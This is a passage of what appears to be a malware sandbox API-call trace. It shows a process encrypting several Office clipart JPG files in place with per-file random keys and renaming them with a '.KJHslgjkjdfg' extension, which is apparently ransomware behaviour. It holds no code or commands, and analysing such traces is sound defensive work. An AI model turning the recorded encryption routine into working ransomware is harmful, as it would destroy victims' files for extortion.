pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0194.258] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.258] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.258] GetProcessHeap () returned 0x990000 [0194.258] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.258] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.258] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.258] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.258] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.258] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf0c1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf0c1, lpOverlapped=0x0) returned 1 [0194.260] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf0d0, dwBufLen=0xf0d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf0d0) returned 1 [0194.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.260] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf0d0, lpOverlapped=0x0) returned 1 [0194.261] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.261] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf1a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.261] SetEndOfFile (hFile=0x130) returned 1 [0194.264] GetProcessHeap () returned 0x990000 [0194.264] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.264] GetProcessHeap () returned 0x990000 [0194.264] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.kjhslgjkjdfg")) returned 1 [0194.265] CloseHandle (hObject=0x130) returned 1 [0194.265] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1 [0194.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.266] GetProcessHeap () returned 0x990000 [0194.266] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.266] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.266] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0194.269] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.269] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.269] GetProcessHeap () returned 0x990000 [0194.269] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.269] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.269] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.269] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.269] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.269] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.269] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.269] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.269] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.270] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.270] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc056, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc056, lpOverlapped=0x0) returned 1 [0194.272] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc060, dwBufLen=0xc060 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc060) returned 1 [0194.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.273] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc060, lpOverlapped=0x0) returned 1 [0194.273] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.273] SetEndOfFile (hFile=0x130) returned 1 [0194.276] GetProcessHeap () returned 0x990000 [0194.276] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.276] GetProcessHeap () returned 0x990000 [0194.276] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.276] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.kjhslgjkjdfg")) returned 1 [0194.278] CloseHandle (hObject=0x130) returned 1 [0194.278] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0194.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.278] GetProcessHeap () returned 0x990000 [0194.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.279] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.279] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0194.282] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.282] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.282] GetProcessHeap () returned 0x990000 [0194.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.282] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.285] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.285] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.286] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.286] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.286] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.286] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.286] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5285, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5285, lpOverlapped=0x0) returned 1 [0194.288] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5290, dwBufLen=0x5290 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5290) returned 1 [0194.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.288] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5290, lpOverlapped=0x0) returned 1 [0194.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.289] SetEndOfFile (hFile=0x130) returned 1 [0194.291] GetProcessHeap () returned 0x990000 [0194.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.292] GetProcessHeap () returned 0x990000 [0194.292] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.kjhslgjkjdfg")) returned 1 [0194.293] CloseHandle (hObject=0x130) returned 1 [0194.293] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0194.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.294] GetProcessHeap () returned 0x990000 [0194.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.294] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.294] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.294] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0194.297] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.297] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.297] GetProcessHeap () returned 0x990000 [0194.297] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.297] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.297] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.297] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.297] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.297] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.298] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.298] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x45cb, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x45cb, lpOverlapped=0x0) returned 1 [0194.299] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45d0, dwBufLen=0x45d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45d0) returned 1 [0194.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.300] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x45d0, lpOverlapped=0x0) returned 1 [0194.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x46a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.300] SetEndOfFile (hFile=0x130) returned 1 [0194.303] GetProcessHeap () returned 0x990000 [0194.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.303] GetProcessHeap () returned 0x990000 [0194.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.kjhslgjkjdfg")) returned 1 [0194.304] CloseHandle (hObject=0x130) returned 1 [0194.304] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0194.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.305] GetProcessHeap () returned 0x990000 [0194.305] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.305] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0194.308] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.308] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.308] GetProcessHeap () returned 0x990000 [0194.308] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.308] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.308] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.308] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.308] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 